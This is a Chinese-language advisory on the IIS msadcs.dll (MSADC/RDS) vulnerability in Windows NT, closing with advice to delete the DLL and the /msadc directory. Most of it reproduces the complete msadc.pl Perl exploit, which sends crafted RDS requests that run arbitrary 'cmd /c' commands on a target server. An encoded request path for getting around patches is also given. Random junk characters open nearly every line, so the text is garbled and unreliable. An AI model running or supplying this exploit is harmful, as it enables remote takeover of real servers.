IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
[?x9NQ{ /tl/%:U*. 涉及程序:
1RM;"b/ Microsoft NT server
vA@Kb3, Yq}7x1mm 描述:
[H;HrwM
s) 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
JIvVbI e`zEsLs@ 详细:
3dfG_a61y 如果你没有时间读详细内容的话,就删除:
qb(#{Sw0 c:\Program Files\Common Files\System\Msadc\msadcs.dll
t5mI)u 有关的安全问题就没有了。
Os^ sOOSY \s?OvqI: 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
V2sWcV? !Rk1q&U5 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
y
,isK 关于利用ODBC远程漏洞的描述,请参看:
`l@[8H%aw "r @RDw
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm r/1:!Vu( gS4zX>rqe 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
A`<#}~A http://www.microsoft.com/security/bulletins/MS99-025faq.asp PxzeN6f (RG\U[ 这里不再论述。
95Bw;U3E 1}#v<b$ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
@?iLz7SPk P7QOlTQI /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
n={}=' 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
\kcJF'JFA0 z_R^n#A~r JL $6Fw; #将下面这段保存为txt文件,然后: "perl -x 文件名"
fpf1^TZ LSb3w/3M #!perl
Pc>$[kT0 #
r)Ts(#Z # MSADC/RDS 'usage' (aka exploit) script
} Uki)3( #
r|4jR6%<'m # by rain.forest.puppy
BM=`zGh" #
`?LQd2p # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ta"/R@ k* # beta test and find errors!
SY|r'8Z%Q qJ|ByZ.N+ use Socket; use Getopt::Std;
[1B F8: getopts("e:vd:h:XR", \%args);
J9S9rir& W"S,~y print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
&[,g`S0 UfjLNe}wA if (!defined $args{h} && !defined $args{R}) {
;~T)pG8IS print qq~
j}XTa[ Usage: msadc.pl -h <host> { -d <delay> -X -v }
Q1EY!AV8 -h <host> = host you want to scan (ip or domain)
#%z--xuJL -d <seconds> = delay between calls, default 1 second
#Z<pks2
y -X = dump Index Server path table, if available
D
7 l&L -v = verbose
L>+g;GJ -e = external dictionary file for step 5
rt$zM B%gk[!d}8 Or a -R will resume a command session
='u'/g$'& ha ~; exit;}
%Q5D#d"p` 75i
M_e\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
i@e.Uzn if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
/*p4(D_A if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
d,[.=Jqv[ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
^-{ 1]G: $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
hPr*<2mp if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Sxf|gDC !e@G[%k if (!defined $args{R}){ $ret = &has_msadc;
rubqk4 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
}'$6EgX GlP
[: print "Please type the NT commandline you want to run (cmd /c assumed):\n"
S_LY>k? . "cmd /c ";
vb/*ILS $in=<STDIN>; chomp $in;
G~_5E]8 $command="cmd /c " . $in ;
HVz-i{M F48:mfj1r if (defined $args{R}) {&load; exit;}
:p@H MbLG8T:y print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
u_.V]Rjc &try_btcustmr;
vLR)B@O,2 vE/g{~[5 print "\nStep 2: Trying to make our own DSN...";
y@]4xLB] &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
sN|-V+7&j >C"cv^%c print "\nStep 3: Trying known DSNs...";
;OQ-T+(T &known_dsn;
d='z^vHK piJ/e print "\nStep 4: Trying known .mdbs...";
vW]Frb &known_mdb;
1 Uz'=a }<7Dyn, if (defined $args{e}){
hKtOh print "\nStep 5: Trying dictionary of DSN names...";
*E0+! &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
hRb
k-b x={t}qDS8 print "Sorry Charley...maybe next time?\n";
Q_QmyD~m exit;
Y<3s_ ]*j>yj.Y'~ ##############################################################################
,'5P[- ?15k~1nA sub sendraw { # ripped and modded from whisker
/b6Y~YbgU sleep($delay); # it's a DoS on the server! At least on mine...
TFbCJ@X my ($pstr)=@_;
&<@{ d socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
AKx\U?ei7 die("Socket problems\n");
rMxst if(connect(S,pack "SnA4x8",2,80,$target)){
?"+'OOqik select(S); $|=1;
8F($RnP3 print $pstr; my @in=<S>;
Lv,~M f1| select(STDOUT); close(S);
JfKhYRl return @in;
z/ T| } else { die("Can't connect...\n"); }}
_tL+39 u CvmZW$5Yo ##############################################################################
&=|W95 +A
W6 >yV` sub make_header { # make the HTTP request
?# >|P-4 my $msadc=<<EOT
~c
;7me. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
mhJ>5z User-Agent: ACTIVEDATA
J&^r}6D Host: $ip
pTUsdao^, Content-Length: $clen
1mOZ\L!m* Connection: Keep-Alive
o"[P++qd nhk +9 ADCClientVersion:01.06
Q !5Tw Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
NF0IF#;a 7qon:]b4 --!ADM!ROX!YOUR!WORLD!
ERL(>) Content-Type: application/x-varg
X ~4^$x Content-Length: $reqlen
v3S{dX< gv `jeN EOT
GEA@AD=^f ; $msadc=~s/\n/\r\n/g;
x)G/YUv76 return $msadc;}
L3Ry#uw *Dh.'bB! ##############################################################################
L"zOa90ig b9EJLD sub make_req { # make the RDS request
;Iw'TF my ($switch, $p1, $p2)=@_;
ec1snMY my $req=""; my $t1, $t2, $query, $dsn;
8v1asFxs. ]gTaTY if ($switch==1){ # this is the btcustmr.mdb query
)_+" $query="Select * from Customers where City=" . make_shell();
j='Ne5X1 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
_+|* $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
fouy?? '7>Vmr6 elsif ($switch==2){ # this is general make table query
QC4_\V>[ $query="create table AZZ (B int, C varchar(10))";
tt|U,o $dsn="$p1";}
AEPgQ9#E 1>a^Q elsif ($switch==3){ # this is general exploit table query
;}f%b E $query="select * from AZZ where C=" . make_shell();
-2> L*"^ $dsn="$p1";}
cWFvYF (4ow0}1 elsif ($switch==4){ # attempt to hork file info from index server
G2a fHL< $query="select path from scope()";
FD|R4 V*3 $dsn="Provider=MSIDXS;";}
G D[~4G :KX/` elsif ($switch==5){ # bad query
XIBw&mWf $query="select";
zF)_t S $dsn="$p1";}
m>:%[vm ddnWr"_ $t1= make_unicode($query);
}C"#b\A2 $t2= make_unicode($dsn);
5F^,7A4I0 $req = "\x02\x00\x03\x00";
NWCnt,FlY $req.= "\x08\x00" . pack ("S1", length($t1));
l[ @\!;| $req.= "\x00\x00" . $t1 ;
iCAd7=o $req.= "\x08\x00" . pack ("S1", length($t2));
XF^c(*5 $req.= "\x00\x00" . $t2 ;
ys+?+dY2 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
#l;Ekjfz return $req;}
6ap,XFRMh z@~1e]% ##############################################################################
<]wN/B-8J /unOZVr( sub make_shell { # this makes the shell() statement
Q2rZMK return "'|shell(\"$command\")|'";}
m
7 Fz&bN )QBsyN<x6 ##############################################################################
*tRJ= apY m,_ sub make_unicode { # quick little function to convert to unicode
u8o7J(aQsR my ($in)=@_; my $out;
9\Xl3j! for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
q<hN\kBs return $out;}
sE/9~L Pv1psKu ##############################################################################
Y%=A>~s*c: {B\.8)&8 sub rdo_success { # checks for RDO return success (this is kludge)
lq.0?( my (@in) = @_; my $base=content_start(@in);
g LpWfT29V if($in[$base]=~/multipart\/mixed/){
oR-_=U^ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
*D<sk7 return 0;}
*ac#wEd "X]ufZ7 ##############################################################################
cz T@ txF 3\(s=-vh sub make_dsn { # this makes a DSN for us
DdSUB my @drives=("c","d","e","f");
,E>VYkoA print "\nMaking DSN: ";
'6 /uc:zv foreach $drive (@drives) {
F`u{'w:Hv print "$drive: ";
Nc"h8p? my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
zkd#vAY(A "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
o9~qJnB/O . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
p19Zxh $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Q'|cOQX return 0 if $2 eq "404"; # not found/doesn't exist
6B+
@76w H if($2 eq "200") {
e<C5}#wt foreach $line (@results) {
+5({~2Lzvp return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
+Nza@B d } return 0;}
J,~)9Kh$ 5#d(_ ##############################################################################
Me`"@{r|# CZa9hsM sub verify_exists {
p}Gk|Kjlq, my ($page)=@_;
tICxAp: my @results=sendraw("GET $page HTTP/1.0\n\n");
'[juPI(! return $results[0];}
eq@ v2o7 a"EQldm|d ##############################################################################
"QlCcH`g u!@P,,NY sub try_btcustmr {
D8dTw {C my @drives=("c","d","e","f");
C#r`oZS1 my @dirs=("winnt","winnt35","winnt351","win","windows");
J]~fv9~P C$(t`G foreach $dir (@dirs) {
6*LU+U=` print "$dir -> "; # fun status so you can see progress
qq?>ulu*W foreach $drive (@drives) {
}40/GWp<f print "$drive: "; # ditto
_c(=> $reqlen=length( make_req(1,$drive,$dir) ) - 28;
'<}7bw}+c $reqlenlen=length( "$reqlen" );
!^LvNW\| $clen= 206 + $reqlenlen + $reqlen;
L,D!T&B kfVG@ o?o my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Tbwq_3fK if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
n>eIQaV else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
+}Q4 g]M8 c:$:j,i} ##############################################################################
.xk<7^ZD oVhw2pKpM sub odbc_error {
4sJx_Qi my (@in)=@_; my $base;
Y^!40XjrD my $base = content_start(@in);
9iOlR=-* if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
L;`4" $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H?~u%b@ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@qe>ph[UA $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
43)9iDmJ8< return $in[$base+4].$in[$base+5].$in[$base+6];}
)RkU='lB " print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
yNT2kB' print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
_cJ{fYwYU $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
E8j9@BHU[r i;tA<-$- ##############################################################################
3jn@ [ m xUw\Y(! sub verbose {
-w2ga1 my ($in)=@_;
tEEhSG)s% return if !$verbose;
KW;xlJz(j print STDOUT "\n$in\n";}
a-}%R 54;iLL ##############################################################################
|knP :^*V[77 sub save {
RSi0IfG5 my ($p1, $p2, $p3, $p4)=@_;
yk5P/H) open(OUT, ">rds.save") || print "Problem saving parameters...\n";
y,r`8 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
,,Db:4qfjD close OUT;}
U'lD|R,g ,yqzk. ##############################################################################
0F3>kp4u I{AU, sub load {
i&30n# my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
1Efl|lV open(IN,"<rds.save") || die("Couldn't open rds.save\n");
"p;DQ-V @p=<IN>; close(IN);
!'gz&3B~h $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
"''<:K| $target= inet_aton($ip) || die("inet_aton problems");
m0*
B[ print "Resuming to $ip ...";
Y5NbY02E $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
TZP{=v< if($p[1]==1) {
mQvKreo~ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
|{jAMC0# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
\I'Zc] my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
`kv$B3 if (rdo_success(@results)){print "Success!\n";}
%zD-gw> else { print "failed\n"; verbose(odbc_error(@results));}}
UxvsSHi elsif ($p[1]==3){
b(yO if(run_query("$p[3]")){
KALg6DZe: print "Success!\n";} else { print "failed\n"; }}
Gu}x+hG elsif ($p[1]==4){
5HIpoj;\( if(run_query($drvst . "$p[3]")){
b
mm@oi print "Success!\n"; } else { print "failed\n"; }}
6m"
75 exit;}
_9@?Th&_e bSR<d ##############################################################################
[s34N+vU 0B4(t6o sub create_table {
Hb+#*42v my ($in)=@_;
Wu4Nq+ $reqlen=length( make_req(2,$in,"") ) - 28;
"[?/I3{E $reqlenlen=length( "$reqlen" );
?xo,)`` $clen= 206 + $reqlenlen + $reqlen;
i]-gO my @results=sendraw(make_header() . make_req(2,$in,""));
F^NR qE return 1 if rdo_success(@results);
ZYt
__N my $temp= odbc_error(@results); verbose($temp);
<D dHP return 1 if $temp=~/Table 'AZZ' already exists/;
0V#t ;`Q3 return 0;}
7, 13g) u`'z~N4} ##############################################################################
}H#t( 9,U #rpqt{ml sub known_dsn {
eq+o_R}CS # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
-Wn.@bz6B my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
'*XNgvX "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
{^kG<v.vV "banner", "banners", "ads", "ADCDemo", "ADCTest");
QO7:iSZJ by
U\I5 foreach $dSn (@dsns) {
iXm||?Rnx print ".";
^0|NmMJ] next if (!is_access("DSN=$dSn"));
IeB6r+4| if(create_table("DSN=$dSn")){
NslA/"* print "$dSn successful\n";
m3(T0.j0P if(run_query("DSN=$dSn")){
-n
*>zGc print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:]^P^khK print "Something's borked. Use verbose next time\n";}}} print "\n";}
9sCk\`n 8$v7|S6 z ##############################################################################
WDGGT.h G ;F""}wzn sub is_access {
D;I`k
L my ($in)=@_;
yUW&Wgc=: $reqlen=length( make_req(5,$in,"") ) - 28;
9f^PR|F $reqlenlen=length( "$reqlen" );
Inc:t_ $clen= 206 + $reqlenlen + $reqlen;
&a=e=nR5 my @results=sendraw(make_header() . make_req(5,$in,""));
7ILa H|eN my $temp= odbc_error(@results);
|{PJT#W% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
J4}\V$ysN return 0;}
ij i.3- <s>/< kW: ##############################################################################
[/Z'OV"tU
`,Nn4 sub run_query {
LZ)m](+M my ($in)=@_;
oe|e+ $reqlen=length( make_req(3,$in,"") ) - 28;
iHn!KV $reqlenlen=length( "$reqlen" );
0c61q Q6 $clen= 206 + $reqlenlen + $reqlen;
f4I#a&DO my @results=sendraw(make_header() . make_req(3,$in,""));
mrC+J* return 1 if rdo_success(@results);
@6co\.bv my $temp= odbc_error(@results); verbose($temp);
]kkBgjQbS return 0;}
8KtgSash z>33O5U ##############################################################################
+w.Kv
; _qeuVi=A sub known_mdb {
VMIX$# my @drives=("c","d","e","f","g");
9I\3T6&tr my @dirs=("winnt","winnt35","winnt351","win","windows");
!1'-'Q@f my $dir, $drive, $mdb;
R2O.}!' my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
a9Fm Y` iEviH>b5 # this is sparse, because I don't know of many
paNw5]
-
my @sysmdbs=( "\\catroot\\icatalog.mdb",
2rCY&8 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
kr(<Y| "\\system32\\certmdb.mdb",
B`B%:# "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
{*
j^g6; `f+8WPJPZ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
r^A#[-VyNP "\\cfusion\\cfapps\\forums\\forums_.mdb",
=b<<5N s "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
N4H+_g| "\\cfusion\\cfapps\\security\\realm_.mdb",
Yc82vSG' "\\cfusion\\cfapps\\security\\data\\realm.mdb",
WYC1rfd= "\\cfusion\\database\\cfexamples.mdb",
R==cz^# "\\cfusion\\database\\cfsnippets.mdb",
Ejms)JK+ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
I\upnEKKzZ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
vA;F]epr! "\\cfusion\\brighttiger\\database\\cleam.mdb",
~$4.Mf,u "\\cfusion\\database\\smpolicy.mdb",
aGe(vQPi9 "\\cfusion\\database\cypress.mdb",
q[7d7i/r6 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
`8(h,aj; "\\website\\cgi-win\\dbsample.mdb",
o? i.v0@!K "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
v]T(zL| "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Yxd{&47 ); #these are just
'dc+M9u)_q foreach $drive (@drives) {
Q*:h/Lhb& foreach $dir (@dirs){
)4~sQ^} foreach $mdb (@sysmdbs) {
VS9]po>= print ".";
XalJo@%- if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
9c6GYWIFt& print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
h
??C4z if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
A!{.|x[S44 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Y#lk!#\Y } else { print "Something's borked. Use verbose next time\n"; }}}}}
GwQZf| O<1vSav!K foreach $drive (@drives) {
~zxwg+:QO foreach $mdb (@mdbs) {
``$%L=_m print ".";
M%&A.j[ if(create_table($drv . $drive . $dir . $mdb)){
a_{io`h3& print "\n" . $drive . $dir . $mdb . " successful\n";
0TO_1 0D if(run_query($drv . $drive . $dir . $mdb)){
xegQRc print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
fJWxJSdi } else { print "Something's borked. Use verbose next time\n"; }}}}
rg5]`-!= }
R3j#WgltP m-ph} ##############################################################################
0\'Q&oTo vx!::V7s6 sub hork_idx {
WQ[}&kY~ print "\nAttempting to dump Index Server tables...\n";
+_X,uvR print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
#Pu@Wx $reqlen=length( make_req(4,"","") ) - 28;
AU)1vx(\w $reqlenlen=length( "$reqlen" );
%{7_E*I@n $clen= 206 + $reqlenlen + $reqlen;
FgWkcV6B my @results=sendraw2(make_header() . make_req(4,"",""));
0+}EA[ if (rdo_success(@results)){
KQ4kZN my $max=@results; my $c; my %d;
Pr5g6I'G for($c=19; $c<$max; $c++){
]3t1=+ $results[$c]=~s/\x00//g;
x}?DkFuxb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
>gk z4.* $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
dG\U)WA(p $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
]<kupaRQ $d{"$1$2"}="";}
1E5a( foreach $c (keys %d){ print "$c\n"; }
"x(>Sj\%I } else {print "Index server doesn't seem to be installed.\n"; }}
O3kg ~h)@e\Kc ##############################################################################
6?V<BgCC a)!![X?\ sub dsn_dict {
9-
xlvU,o open(IN, "<$args{e}") || die("Can't open external dictionary\n");
B;Xoa, while(<IN>){
ItI0x $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
+@emX$cFV next if (!is_access("DSN=$dSn"));
/m`}f]u if(create_table("DSN=$dSn")){
;)(Sdf[P print "$dSn successful\n";
e1
x^PT if(run_query("DSN=$dSn")){
`^7:7Wr]= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
wMb)6YZs print "Something's borked. Use verbose next time\n";}}}
-t8hi+NK print "\n"; close(IN);}
erx5j\ ~;M)qR?]W ##############################################################################
gjj 93 D|@bGN sub sendraw2 { # ripped and modded from whisker
T'ED$}N>~ sleep($delay); # it's a DoS on the server! At least on mine...
;n`R\NO9 my ($pstr)=@_;
3 p/b socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
"]VDY) die("Socket problems\n");
gi6g"~%@q1 if(connect(S,pack "SnA4x8",2,80,$target)){
Deg!<[Nw print "Connected. Getting data";
^WE4*.( open(OUT,">raw.out"); my @in;
+|y*}bG select(S); $|=1; print $pstr;
|KL')&" while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
XE_ir
Et close(OUT); select(STDOUT); close(S); return @in;
NO-k- } else { die("Can't connect...\n"); }}
CSMeSPOm] ,E\h !/X ##############################################################################
OT%0{2c"] C5P$&s\ sub content_start { # this will take in the server headers
w8O" =}, my (@in)=@_; my $c;
IY=/`g for ($c=1;$c<500;$c++) {
AXwaVLEBQ if($in[$c] =~/^\x0d\x0a/){
NS`07 #z^ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
n( g)UNx else { return $c+1; }}}
T~BA)![ return -1;} # it should never get here actually
YT>KJ z{S:X:X ##############################################################################
L7'%;?Z UMV)wy|j sub funky {
@;vNX*-J my (@in)=@_; my $error=odbc_error(@in);
z{9=1XY if($error=~/ADO could not find the specified provider/){
X1+wX`f print "\nServer returned an ADO miscofiguration message\nAborting.\n";
:Sr?6FPc exit;}
WRWWskP if($error=~/A Handler is required/){
4&QUh+F print "\nServer has custom handler filters (they most likely are patched)\n";
bEm7QgV{X exit;}
@@I7$* if($error=~/specified Handler has denied Access/){
s~*}0-lS print "\nServer has custom handler filters (they most likely are patched)\n";
9 Ycn0 exit;}}
xJ{_qP vY6oVjM ##############################################################################
XZ`:wmc| 3jjMY sub has_msadc {
r-}-C! my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0}{'C5 my $base=content_start(@results);
7 8Vcu'j&_ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
{(
#zcK return 0;}
bu>qsU3 $B;_Jo\| ########################
EIjI!0j MJ`N,E[ $9 +YNgW> 解决方案:
&-%>qB|* 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
~ 3^='o 2、移除web 目录: /msadc